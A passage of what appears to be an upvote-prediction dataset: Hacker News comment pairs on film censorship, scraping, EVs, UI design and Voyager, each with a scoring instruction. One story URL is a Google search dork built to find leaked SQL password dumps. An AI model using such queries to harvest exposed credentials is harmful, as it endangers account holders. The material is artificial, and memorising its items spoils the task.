the most convincing reason I&#x27;ve seen to own your own data.<p>For movies it&#x27;s as easy as obtaining DRM-free copies of the movies you care about, saving them to an SSD, and installing a copy of Plex.<p>Do that with the movies, music and books you love. They are a part of our cultural history. It&#x27;s almost a guarantee that any copy you don&#x27;t own and control will at some point in the future be revised. I want the real history not what the powers that be tell me it was.<p>It&#x27;s virtually <i>guaranteed</i> that Amazon, Netflix et. al. will not store this stuff for you with integrity, it is built into the nature of the system.</text></item><item><author>monero-xmr</author><text>I grew up in a small city and one thing they had was some rich dude who donated a library, and filled the reading room with beautiful statues and paintings which were in the classical style, commissioned completely by himself. This was early 1800s.<p>Then in the later 1800s the townsfolk decided the paintings and statues were scandalous because they had nudes, so they painted over the breasts and genitals, and covered over the statues with togas &#x2F; cloths.<p>Luckily in modern times it was easy to remove the cloths, but unfortunately the paintings are ruined. The cover-job was done poorly and the paintings have an off-color paint on it that looks wrong. There have been talks to fix it but I don’t think anything has been done.<p>My point is that, the desire to censor prior art that disagrees with fad-interpretations of what is taboo and scandalous, will certainly be looked at in a few decades as a very weird and Victorian era. Definitely should not re-cut movies to be “safe” or whatever.</text></item></parent_chain></comment><story><title>Steven Spielberg: ‘No film should be revised’ based on modern sensitivity</title><url>https://www.theguardian.com/film/2023/apr/26/steven-spielberg-et-guns-movie-edit</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>ekianjo</author><text>&gt; The fact that even guys as influential as Spielberg and Tarantino are worried about having their past work censored is the most convincing reason I&#x27;ve seen to own your own data.<p>No need to even go to censorship, you have people like George Lucas who go out of their way to destroy their previous productions.</text><parent_chain><item><author>safety1st</author><text>The fact that even guys as influential as Spielberg and Tarantino are worried about having their past work censored is the most convincing reason I&#x27;ve seen to own your own data.<p>For movies it&#x27;s as easy as obtaining DRM-free copies of the movies you care about, saving them to an SSD, and installing a copy of Plex.<p>Do that with the movies, music and books you love. They are a part of our cultural history. It&#x27;s almost a guarantee that any copy you don&#x27;t own and control will at some point in the future be revised. I want the real history not what the powers that be tell me it was.<p>It&#x27;s virtually <i>guaranteed</i> that Amazon, Netflix et. al. will not store this stuff for you with integrity, it is built into the nature of the system.</text></item><item><author>monero-xmr</author><text>I grew up in a small city and one thing they had was some rich dude who donated a library, and filled the reading room with beautiful statues and paintings which were in the classical style, commissioned completely by himself. This was early 1800s.<p>Then in the later 1800s the townsfolk decided the paintings and statues were scandalous because they had nudes, so they painted over the breasts and genitals, and covered over the statues with togas &#x2F; cloths.<p>Luckily in modern times it was easy to remove the cloths, but unfortunately the paintings are ruined. The cover-job was done poorly and the paintings have an off-color paint on it that looks wrong. There have been talks to fix it but I don’t think anything has been done.<p>My point is that, the desire to censor prior art that disagrees with fad-interpretations of what is taboo and scandalous, will certainly be looked at in a few decades as a very weird and Victorian era. Definitely should not re-cut movies to be “safe” or whatever.</text></item></parent_chain></comment><story><title>Steven Spielberg: ‘No film should be revised’ based on modern sensitivity</title><url>https://www.theguardian.com/film/2023/apr/26/steven-spielberg-et-guns-movie-edit</url></story> |
15,707,665 | 15,707,737 | 1 | 3 | 15,706,956 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>derefr</author><text>&gt; I wouldn&#x27;t want companies having the right to surveil the movements of every citizen 24&#x2F;7, just because they have the right to follow someone on foot<p>I feel like there&#x27;s an inherent contradiction there, and the right thing to do isn&#x27;t to &quot;lean into&quot; the contradiction, but rather to resolve it in the other direction. That is: we probably need to change what is legal for <i>private individuals</i> to do, if we want to effect change in what is legal for automation to do.<p>After all, at its most basic, we&#x27;ve got &quot;automation&quot; like Mechanical Turk, or people who you can hire to stand in a line for you to buy a new iPhone. Any law against automation won&#x27;t work out if exceptions like that still exist; and those exceptions can&#x27;t be stopped except by changing what deals it is legal for a human to make.</text><parent_chain><item><author>whack</author><text>I think the two main questions raised in this case:<p>1. Is it always ok for someone to build a bot to do something which can be legally done by hand? Example: Building a LinkedIn scraper that tracks all public data. Or using a GPS tracker to track a car, instead of manually following it<p>2. Is it anti-competitive practice, and a violation of anti-trust laws, for LinkedIn to allow the general public, and other companies like Google, access to its public data, but ban others such as HiQ?<p>On question 1, I tend to lean towards LinkedIn&#x27;s position. Just because something can be legally done by hand, shouldn&#x27;t automatically mean that we should allow it to be done at massive scale by automated scripts. I wouldn&#x27;t want companies having the right to surveil the movements of every citizen 24&#x2F;7, just because they have the right to follow someone on foot, and I think a similar argument can be made against HiQ.<p>On question 2 though, I agree with HiQ. LinkedIn&#x27;s attempt to ban HiQ doesn&#x27;t seem like an attempt to protect their users, but rather, an anti-competitive attempt to kill off a potential competitor, and secure the market for themselves.</text></item></parent_chain></comment><story><title>The Fight to Mine Your Data and Sell It to Your Boss</title><url>https://www.bloomberg.com/news/features/2017-11-15/the-brutal-fight-to-mine-your-data-and-sell-it-to-your-boss</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>coldtea</author><text>&gt;<i>1. Is it always ok for someone to build a bot to do something which can be legally done by hand?</i><p>I&#x27;d say no. Technology is a multiplier, and if the same thing that took painstaking work and devoting resources to be done manually can be done automatically, it can be the difference between a democracy and a police state.<p>(E.g. the police targeting some suspects by tailing them and have some people listen to their conversations, and everybody in the country monitored 24&#x2F;7).<p>The kind of crappy arguments usually taken as OK in courts however see this otherwise, as if 1000x automated something is the same as 1x.</text><parent_chain><item><author>whack</author><text>I think the two main questions raised in this case:<p>1. Is it always ok for someone to build a bot to do something which can be legally done by hand? Example: Building a LinkedIn scraper that tracks all public data. Or using a GPS tracker to track a car, instead of manually following it<p>2. Is it anti-competitive practice, and a violation of anti-trust laws, for LinkedIn to allow the general public, and other companies like Google, access to its public data, but ban others such as HiQ?<p>On question 1, I tend to lean towards LinkedIn&#x27;s position. Just because something can be legally done by hand, shouldn&#x27;t automatically mean that we should allow it to be done at massive scale by automated scripts. I wouldn&#x27;t want companies having the right to surveil the movements of every citizen 24&#x2F;7, just because they have the right to follow someone on foot, and I think a similar argument can be made against HiQ.<p>On question 2 though, I agree with HiQ. LinkedIn&#x27;s attempt to ban HiQ doesn&#x27;t seem like an attempt to protect their users, but rather, an anti-competitive attempt to kill off a potential competitor, and secure the market for themselves.</text></item></parent_chain></comment><story><title>The Fight to Mine Your Data and Sell It to Your Boss</title><url>https://www.bloomberg.com/news/features/2017-11-15/the-brutal-fight-to-mine-your-data-and-sell-it-to-your-boss</url></story> |
24,243,225 | 24,238,283 | 1 | 3 | 24,236,489 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>marcus_holmes</author><text>Even better, why not get the company to borrow against those 10 years of income, and pay you your profit now?<p>Even better, since you now don&#x27;t actually even need to keep the company alive for 10 years since you&#x27;ve already got your profit, you can sell the company&#x27;s assets now and increase your profit!<p>Except there&#x27;s not a company in the world that this logic doesn&#x27;t apply to (at some point). Asset-stripping has killed off a few old companies that were ready for it, sure. But it&#x27;s also destroyed lives and communities that didn&#x27;t deserve that.<p>There is more to life than money, and one of the things that this article is talking about is that we need to recognise that.</text><parent_chain><item><author>roughly</author><text>&gt; Fragile systems are often very successful for a long time because they ignore hidden risks and then collapse due to the unexpected.<p>There&#x27;s another interesting aspect to this in that things that are failures from some perspectives may not be from others.<p>If stripping resiliency out of a company nets enough savings in the short term, it may still be profitable to the owners it even if it&#x27;s long-term fatal.<p>As a hypothetical example, let&#x27;s say you take a company making $1M a year and trim $19M a year of costs out of it. The company lasts another 10 years and then collapses. You&#x27;ve netted an extra $190M out of that company, or nearly 200 years at their previous rate.<p>In that case, it&#x27;s in your local interest to strip the company bare, even if it&#x27;s not necessarily optimal for your partners, workers, society, or any other stakeholder in this wonderful interconnected world of ours. The benefits are concentrated, the costs are distributed, and there&#x27;s no mechanism for connecting the two.</text></item><item><author>yt-sdb</author><text>That&#x27;s a nice way to think about, and it reminds me of Nassim Taleb&#x27;s &quot;antifragile&quot; thesis [1]. Basically, the world is more random than you think, and to operate rationally under uncertainty, you need to be open-minded about opportunities and risks with huge asymmetries. Fragile systems are often very successful for a long time because they ignore hidden risks and then collapse due to the unexpected.<p>[1] <a href="https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Antifragility" rel="nofollow">https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Antifragility</a></text></item><item><author>bschne</author><text>I&#x27;ve found &quot;efficiency as the opposite of stability&quot; a very powerful concept to think about - even though it&#x27;s fairly simple, it seems to be almost a fundamental law.<p>Whether it&#x27;s about the economy at large, your own household, a supply chain, what have you - as soon as you optimize for efficiency by removing friction, you take all the slack&#x2F;damping out of the system and become instantly more liable to catastrophic failure if some of your basic conditions change. Efficiency gives you a speed bonus, at the cost of increased risk &#x2F; less resilience to unforeseen events.<p>Stewart Brand&#x27;s concept of &quot;Pace Layering&quot; comes to mind for how to deal with this at a systemic level - <a href="https:&#x2F;&#x2F;jods.mitpress.mit.edu&#x2F;pub&#x2F;issue3-brand&#x2F;release&#x2F;2" rel="nofollow">https:&#x2F;&#x2F;jods.mitpress.mit.edu&#x2F;pub&#x2F;issue3-brand&#x2F;release&#x2F;2</a></text></item></parent_chain></comment><story><title>Efficiency is dangerous and slowing down makes life better</title><url>https://psyche.co/ideas/why-efficiency-is-dangerous-and-slowing-down-makes-life-better</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>dependsontheq</author><text>Only if you define local interest as purely financially motivated. I am not even talking about the ethics, but even social status is not only dependent on wealth. We are much more than a bank account number, thinking that we are is more or less a pathological disease, because rationally it makes no sense.</text><parent_chain><item><author>roughly</author><text>&gt; Fragile systems are often very successful for a long time because they ignore hidden risks and then collapse due to the unexpected.<p>There&#x27;s another interesting aspect to this in that things that are failures from some perspectives may not be from others.<p>If stripping resiliency out of a company nets enough savings in the short term, it may still be profitable to the owners it even if it&#x27;s long-term fatal.<p>As a hypothetical example, let&#x27;s say you take a company making $1M a year and trim $19M a year of costs out of it. The company lasts another 10 years and then collapses. You&#x27;ve netted an extra $190M out of that company, or nearly 200 years at their previous rate.<p>In that case, it&#x27;s in your local interest to strip the company bare, even if it&#x27;s not necessarily optimal for your partners, workers, society, or any other stakeholder in this wonderful interconnected world of ours. The benefits are concentrated, the costs are distributed, and there&#x27;s no mechanism for connecting the two.</text></item><item><author>yt-sdb</author><text>That&#x27;s a nice way to think about, and it reminds me of Nassim Taleb&#x27;s &quot;antifragile&quot; thesis [1]. Basically, the world is more random than you think, and to operate rationally under uncertainty, you need to be open-minded about opportunities and risks with huge asymmetries. Fragile systems are often very successful for a long time because they ignore hidden risks and then collapse due to the unexpected.<p>[1] <a href="https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Antifragility" rel="nofollow">https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Antifragility</a></text></item><item><author>bschne</author><text>I&#x27;ve found &quot;efficiency as the opposite of stability&quot; a very powerful concept to think about - even though it&#x27;s fairly simple, it seems to be almost a fundamental law.<p>Whether it&#x27;s about the economy at large, your own household, a supply chain, what have you - as soon as you optimize for efficiency by removing friction, you take all the slack&#x2F;damping out of the system and become instantly more liable to catastrophic failure if some of your basic conditions change. Efficiency gives you a speed bonus, at the cost of increased risk &#x2F; less resilience to unforeseen events.<p>Stewart Brand&#x27;s concept of &quot;Pace Layering&quot; comes to mind for how to deal with this at a systemic level - <a href="https:&#x2F;&#x2F;jods.mitpress.mit.edu&#x2F;pub&#x2F;issue3-brand&#x2F;release&#x2F;2" rel="nofollow">https:&#x2F;&#x2F;jods.mitpress.mit.edu&#x2F;pub&#x2F;issue3-brand&#x2F;release&#x2F;2</a></text></item></parent_chain></comment><story><title>Efficiency is dangerous and slowing down makes life better</title><url>https://psyche.co/ideas/why-efficiency-is-dangerous-and-slowing-down-makes-life-better</url></story> |
25,646,991 | 25,646,949 | 1 | 2 | 25,645,838 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>allendoerfer</author><text>&gt; However, headlines like this are portraying Norway as some kind of progressive utopia where everyone just wants to drive EVs.<p>Headlines like this are portraying Norway as some kind of progressive democracy, where the majority wants to have laws to drive up EV sales.</text><parent_chain><item><author>aphextron</author><text>&gt;Should we allow a free market to continue producing vehicles that contribute to the degradation of the planet?<p>That&#x27;s not my argument. It would be a good thing if all governments outlawed ICE consumer vehicles. However, headlines like this are portraying Norway as some kind of progressive utopia where everyone just wants to drive EVs.<p>Obviously you can make people do whatever you want with aggressive enough tax policies. But the goal should be to get EVs to a fair market price point where they truly compete, not reliant on subsidies.</text></item><item><author>unethical_ban</author><text>Should we allow a free market to continue producing vehicles that contribute to the degradation of the planet?</text></item><item><author>aphextron</author><text>This is almost completely a result of artificial government imposed constraints that make ICE vehicles exceedingly more expensive there. It really has nothing to do with free market choice. A new Tesla Model 3 costs less than a Subaru Outback or Mini Cooper [0]. A VW eGolf also costs less than a base model ICE Golf.<p>[0] <a href="https:&#x2F;&#x2F;www.skatteetaten.no&#x2F;globalassets&#x2F;tabeller-og-satser&#x2F;listepris-bil&#x2F;bilpriserpersonbil2019.pdf" rel="nofollow">https:&#x2F;&#x2F;www.skatteetaten.no&#x2F;globalassets&#x2F;tabeller-og-satser&#x2F;...</a></text></item></parent_chain></comment><story><title>Electric cars make up 54% of cars sold in Norway in 2020</title><url>https://www.theguardian.com/environment/2021/jan/05/electric-cars-record-market-share-norway</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>arve0</author><text>Kia niro comes out the same price, electric sells the most.<p>Hybrid 405k NOK [0]
Electric 415k NOK [1]<p>0: <a href="https:&#x2F;&#x2F;www.kia.com&#x2F;api&#x2F;bin&#x2F;docDownload?program=brochure&amp;locale=no&amp;path=%2Fcontent%2Fdam%2Fkwcms%2Fkme%2Fno%2Fnn%2Fassets%2Fprislister-brosjyrer%2F20-12-04%2F2021-Kia-Norge-Niro_hybrid(DE)_PE-kundeprisliste-August20-26-08-2020.pdf" rel="nofollow">https:&#x2F;&#x2F;www.kia.com&#x2F;api&#x2F;bin&#x2F;docDownload?program=brochure&amp;loc...</a>
1: <a href="https:&#x2F;&#x2F;www.kia.com&#x2F;api&#x2F;bin&#x2F;docDownload?program=brochure&amp;locale=no&amp;path=%2Fcontent%2Fdam%2Fkwcms%2Fkme%2Fno%2Fnn%2Fassets%2Fprislister-brosjyrer%2F20-12-04%2F2021-Kia-Norge-e-Niro(DE)_PE-kundeprisliste-July20-31-07-2020.pdf" rel="nofollow">https:&#x2F;&#x2F;www.kia.com&#x2F;api&#x2F;bin&#x2F;docDownload?program=brochure&amp;loc...</a></text><parent_chain><item><author>aphextron</author><text>&gt;Should we allow a free market to continue producing vehicles that contribute to the degradation of the planet?<p>That&#x27;s not my argument. It would be a good thing if all governments outlawed ICE consumer vehicles. However, headlines like this are portraying Norway as some kind of progressive utopia where everyone just wants to drive EVs.<p>Obviously you can make people do whatever you want with aggressive enough tax policies. But the goal should be to get EVs to a fair market price point where they truly compete, not reliant on subsidies.</text></item><item><author>unethical_ban</author><text>Should we allow a free market to continue producing vehicles that contribute to the degradation of the planet?</text></item><item><author>aphextron</author><text>This is almost completely a result of artificial government imposed constraints that make ICE vehicles exceedingly more expensive there. It really has nothing to do with free market choice. A new Tesla Model 3 costs less than a Subaru Outback or Mini Cooper [0]. A VW eGolf also costs less than a base model ICE Golf.<p>[0] <a href="https:&#x2F;&#x2F;www.skatteetaten.no&#x2F;globalassets&#x2F;tabeller-og-satser&#x2F;listepris-bil&#x2F;bilpriserpersonbil2019.pdf" rel="nofollow">https:&#x2F;&#x2F;www.skatteetaten.no&#x2F;globalassets&#x2F;tabeller-og-satser&#x2F;...</a></text></item></parent_chain></comment><story><title>Electric cars make up 54% of cars sold in Norway in 2020</title><url>https://www.theguardian.com/environment/2021/jan/05/electric-cars-record-market-share-norway</url></story> |
11,864,768 | 11,864,708 | 1 | 3 | 11,864,420 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>travjones</author><text>Cloudflare&#x27;s free plan includes one-click SSL for custom domains. That&#x27;s what I use for my github pages sites.</text><parent_chain><item><author>tvanantwerp</author><text>Doesn&#x27;t appear to work with custom domains.</text></item></parent_chain></comment><story><title>HTTPS for GitHub Pages</title><url>https://github.com/blog/2186-https-for-github-pages</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>minimaxir</author><text>From the documentation:<p>&gt; HTTPS is not supported for GitHub Pages using custom domains.<p>Not unsurprising, but unfortunate.</text><parent_chain><item><author>tvanantwerp</author><text>Doesn&#x27;t appear to work with custom domains.</text></item></parent_chain></comment><story><title>HTTPS for GitHub Pages</title><url>https://github.com/blog/2186-https-for-github-pages</url></story> |
18,432,249 | 18,432,156 | 1 | 2 | 18,429,909 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>KineticLensman</author><text>This is actually a generic problem in public acquisition - projects are tightly funded to meet specific customer requirements and cannot themselves resolve enterprise-level problems. Building for re-use tends to add complexity &#x2F; cost and a hard-nosed PM will not easily be pursued to solve someone else&#x27;s problem. It seems to require top-down commitment of intent and resources - and a big stick - to make individual projects do the right thing.<p>Obviously there can be situations where common approaches are developed and used but this seems to be the exception rather than the norm.<p>(source - I&#x27;ve spent 10 years trying to work this issue in a UK public acquisition context)</text><parent_chain><item><author>dotdi</author><text>I&#x27;ve worked for the European Space Agency and EUMETSAT and it&#x27;s crazy how much effort is wasted because everybody is writing separate mission control, monitoring and data analysis applications that do 95% of the same things, each with its own horrendous UX&#x2F;UI, idiosyncrasies and bugs.<p>I&#x27;m not in that industry anymore but I just wish everybody would just grow up, use this (and related) software and contribute. No reason not to do that (of course except for pride).</text></item></parent_chain></comment><story><title>A web-based mission control framework by NASA</title><url>https://github.com/nasa/openmct</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>pjmlp</author><text>Back when I was in a similar field, there were about 5 C++ threading libraries in production.<p>Naturally no one was willing to give up on their own one.</text><parent_chain><item><author>dotdi</author><text>I&#x27;ve worked for the European Space Agency and EUMETSAT and it&#x27;s crazy how much effort is wasted because everybody is writing separate mission control, monitoring and data analysis applications that do 95% of the same things, each with its own horrendous UX&#x2F;UI, idiosyncrasies and bugs.<p>I&#x27;m not in that industry anymore but I just wish everybody would just grow up, use this (and related) software and contribute. No reason not to do that (of course except for pride).</text></item></parent_chain></comment><story><title>A web-based mission control framework by NASA</title><url>https://github.com/nasa/openmct</url></story> |
27,666,172 | 27,664,671 | 1 | 2 | 27,663,200 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>honie</author><text>It appears that the molecules on the page are generated with a machine learning algorithm trained on a small organic molecules dataset that is heavily biased towards cyclic, particular nitrogen heterocyclic, structures (I only sampled about 40 of them, so it could also have just been my luck).<p>The model seems to have learnt chemistry pretty well because, as many have already pointed out, most of the molecules generated do actually exist (or are extremely likely accessible if they haven&#x27;t already been documented). Even the ones with strange bond angles have otherwise perfectly normal number of bonds. The only time where I get molecules that cannot possibly exist are those with overlapping atoms that just defy known physics.<p>Addendum: it is worth noting that the model might actually have been trained with data that contain bond lengths, or even spatial information <i>if no post-generation geometry optimisation is performed before a molecule is rendered</i>.</text><parent_chain></parent_chain></comment><story><title>This Chemical Does Not Exist</title><url>https://www.thischemicaldoesnotexist.com/</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>jhbadger</author><text>The thing with randomly generating molecules is unlike with faces or cats, there is the good chance that a real molecule is generated. Unless they screen the molecule against a database and exclude matches?</text><parent_chain></parent_chain></comment><story><title>This Chemical Does Not Exist</title><url>https://www.thischemicaldoesnotexist.com/</url></story> |
17,271,676 | 17,270,801 | 1 | 3 | 17,269,938 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>fnordsensei</author><text>Great summary.<p>Another thing to note in the Factorio mockups is the use of a guideline that I originally picked up from the macOS HIG[1]: use descriptive verbs rather than a generic confirmation.<p>&quot;Apply settings&quot; vs &quot;OK&quot;<p>&quot;Load game&quot; vs &quot;OK&quot;<p>&quot;Delete file&quot; vs &quot;OK&quot;<p>&quot;Send email&quot; vs &quot;OK&quot;<p>&quot;Print&quot; vs &quot;OK&quot;<p>and so on.<p>[1]: <a href="https:&#x2F;&#x2F;developer.apple.com&#x2F;design&#x2F;human-interface-guidelines&#x2F;macos&#x2F;buttons&#x2F;push-buttons&#x2F;" rel="nofollow">https:&#x2F;&#x2F;developer.apple.com&#x2F;design&#x2F;human-interface-guideline...</a></text><parent_chain><item><author>jaysonelliot</author><text>This has been a debate for as long as I&#x27;ve been a UX designer (mid &#x27;90s), and probably much longer.<p>Ultimately, the answer about this UX style is very much the same as a question about writing style—there&#x27;s no objectively right answer, but you have to be consistent.<p>For example, you can pick up any number of style books from Strunk &amp; White to the Chicago Manual of Style and get different &quot;right&quot; answers about writing style, but any editor will tell you the ultimate solution is to be internally consistent.<p>The arguments for each approach have merit. &quot;OK on the left&quot; designers will argue that because we read from left to right, the positive response should be first. &quot;OK on the right&quot; designers will say that the positive response carries the user forward, and because we read from left to right, forward progress should be on the right.<p>My personal feeling is that there&#x27;s another argument for OK on the right, which is that the majority of users are right-handed, so the default choice will be closer to their dominant hand if it&#x27;s placed on the right.<p>Then again, I may be looking for evidence to support my preference, which probably arose from the fact that I began designing on the Mac, so I was conditioned to Apple&#x27;s &quot;OK on the right&quot; standard at an early age, and I&#x27;ve simply conflated &quot;familiar&quot; with &quot;correct.&quot;<p>So the answer from this veteran UX designer would be: Use whichever placement your users are going to be the most familiar with, but whichever you choose, be 100% consistent with the choice you make.</text></item></parent_chain></comment><story><title>Ok-Cancel versus Cancel-Ok</title><url>https://www.factorio.com/blog/post/fff-246</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>c3534l</author><text>Even in film the convention is that if you&#x27;re character is going back, standing in the way of another character moving the plot forward, or just feeling weak or uncertain, they should face the left. When was the last platformer you saw where you moved left to progress? The right hand side conventionally portrays certainty, strength, and progress in all manner of western arts.</text><parent_chain><item><author>jaysonelliot</author><text>This has been a debate for as long as I&#x27;ve been a UX designer (mid &#x27;90s), and probably much longer.<p>Ultimately, the answer about this UX style is very much the same as a question about writing style—there&#x27;s no objectively right answer, but you have to be consistent.<p>For example, you can pick up any number of style books from Strunk &amp; White to the Chicago Manual of Style and get different &quot;right&quot; answers about writing style, but any editor will tell you the ultimate solution is to be internally consistent.<p>The arguments for each approach have merit. &quot;OK on the left&quot; designers will argue that because we read from left to right, the positive response should be first. &quot;OK on the right&quot; designers will say that the positive response carries the user forward, and because we read from left to right, forward progress should be on the right.<p>My personal feeling is that there&#x27;s another argument for OK on the right, which is that the majority of users are right-handed, so the default choice will be closer to their dominant hand if it&#x27;s placed on the right.<p>Then again, I may be looking for evidence to support my preference, which probably arose from the fact that I began designing on the Mac, so I was conditioned to Apple&#x27;s &quot;OK on the right&quot; standard at an early age, and I&#x27;ve simply conflated &quot;familiar&quot; with &quot;correct.&quot;<p>So the answer from this veteran UX designer would be: Use whichever placement your users are going to be the most familiar with, but whichever you choose, be 100% consistent with the choice you make.</text></item></parent_chain></comment><story><title>Ok-Cancel versus Cancel-Ok</title><url>https://www.factorio.com/blog/post/fff-246</url></story> |
2,704,683 | 2,704,597 | 1 | 2 | 2,704,473 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>oasisbob</author><text>Johnny (&#38; others) have been doing this type of thing for years. The classic collection is here:
<a href="http://johnny.ihackstuff.com/ghdb/" rel="nofollow">http://johnny.ihackstuff.com/ghdb/</a></text><parent_chain></parent_chain></comment><story><title>The best site to find password leaks: Google</title><url>http://www.google.com/search?q=filetype:sql+password+123456+gmail&hl=en&tbo=1&output=search&source=lnt&tbs=rltm:1&sa=X&bav=on.2,or.r_gc.r_pw.&biw=1440&bih=819</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>gtank</author><text>Similar, and interesting in the context of LulzSec releases, is @PastebinLeaks on Twitter. It scans Pastebin for a variety of things (mail address lists, PGP keys, SQL dumps, and router configuration files have all popped up so far). They're not 100% - especially the mail/password dump detection - but it's definitely catching stuff.<p><a href="http://twitter.com/#!/PastebinLeaks" rel="nofollow">http://twitter.com/#!/PastebinLeaks</a></text><parent_chain></parent_chain></comment><story><title>The best site to find password leaks: Google</title><url>http://www.google.com/search?q=filetype:sql+password+123456+gmail&hl=en&tbo=1&output=search&source=lnt&tbs=rltm:1&sa=X&bav=on.2,or.r_gc.r_pw.&biw=1440&bih=819</url></story> |
13,037,191 | 13,037,354 | 1 | 2 | 13,036,386 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>samuell</author><text>For understanding the mechanics of matrix multiplication, I found it useful to think in an analogy consisting of a grid of two layers of pipes; One -- the input-pipes -- coming in one direction, and the other -- the output pipes -- laid in an orthogonal direction. Then there would be &quot;taps&quot; in the cross-sections between the input and output pipes, representing the numbers (multiplication factors, really) in the matrix. I illustrated this in this little drawing: <a href="http:&#x2F;&#x2F;imgur.com&#x2F;gallery&#x2F;gBs64" rel="nofollow">http:&#x2F;&#x2F;imgur.com&#x2F;gallery&#x2F;gBs64</a><p>The point then is that the taps (again, representing the matrix values) determine <i>how much of each item in the input vector, that should be mixed into each item in the output vector</i>.<p>This analogy has the limitation that the taps are allowed to <i>enhance</i> the flow, not just limit it, like physical taps would. That is, outputting more than 100% of the input :P Also, while this way of illustrating it may make some sense for matrix * vector multiplication, matrix * matrix would probably become a prohibitively cluttered image.</text><parent_chain><item><author>daniel-levin</author><text>This is a cool example of what Bret Victor calls an &quot;Explorable Explanation&quot; [0]. That said, I feel that it&#x27;s more important to understand how and why matrix multiplication corresponds to a composition of linear transformations than learning the actual mechanics of doing the computation. You can get good at matrix multiplication without knowing what is going on. I view that as a less valuable activity than learning about linear transformations (vector-space structure preserving mappings) between finite dimensional vector spaces.<p>[0] <a href="http:&#x2F;&#x2F;worrydream.com&#x2F;ExplorableExplanations&#x2F;" rel="nofollow">http:&#x2F;&#x2F;worrydream.com&#x2F;ExplorableExplanations&#x2F;</a></text></item></parent_chain></comment><story><title>Matrix Multiplication</title><url>http://matrixmultiplication.xyz/</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>ahane</author><text>3Blue1Brown is an amazing youtube channel that provides very entertaining and educating visual explanation for all sorts of maths.<p>He has a whole series on linear algebra, including matrix mulitplication:<p><a href="https:&#x2F;&#x2F;www.youtube.com&#x2F;playlist?list=PLZHQObOWTQDPD3MizzM2xVFitgF8hE_ab" rel="nofollow">https:&#x2F;&#x2F;www.youtube.com&#x2F;playlist?list=PLZHQObOWTQDPD3MizzM2x...</a></text><parent_chain><item><author>daniel-levin</author><text>This is a cool example of what Bret Victor calls an &quot;Explorable Explanation&quot; [0]. That said, I feel that it&#x27;s more important to understand how and why matrix multiplication corresponds to a composition of linear transformations than learning the actual mechanics of doing the computation. You can get good at matrix multiplication without knowing what is going on. I view that as a less valuable activity than learning about linear transformations (vector-space structure preserving mappings) between finite dimensional vector spaces.<p>[0] <a href="http:&#x2F;&#x2F;worrydream.com&#x2F;ExplorableExplanations&#x2F;" rel="nofollow">http:&#x2F;&#x2F;worrydream.com&#x2F;ExplorableExplanations&#x2F;</a></text></item></parent_chain></comment><story><title>Matrix Multiplication</title><url>http://matrixmultiplication.xyz/</url></story> |
1,459,400 | 1,459,456 | 1 | 3 | 1,459,328 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>eob</author><text>Whenever I read stories like this, I always look in awe at the white-beards in my building who were around back in the days when computers were machines instead of abstractions.<p>The Story of Mel -- A Real Programmer comes to mind:<p><a href="http://www.pbm.com/~lindahl/mel.html" rel="nofollow">http://www.pbm.com/~lindahl/mel.html</a></text><parent_chain></parent_chain></comment><story><title>NASA resets computer, repairs data corruption on Voyager 2 interstellar probe</title><url>http://www.jpl.nasa.gov/news/news.cfm?release=2010-151</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>sliverstorm</author><text>I wonder, is it still possible to get involved with the Voyager craft, i.e. secure employment at JPL and get into that team? Voyager 1 &#38; 2 are hands-down the most incredible machines/computers we have ever made, IMHO.</text><parent_chain></parent_chain></comment><story><title>NASA resets computer, repairs data corruption on Voyager 2 interstellar probe</title><url>http://www.jpl.nasa.gov/news/news.cfm?release=2010-151</url></story> |
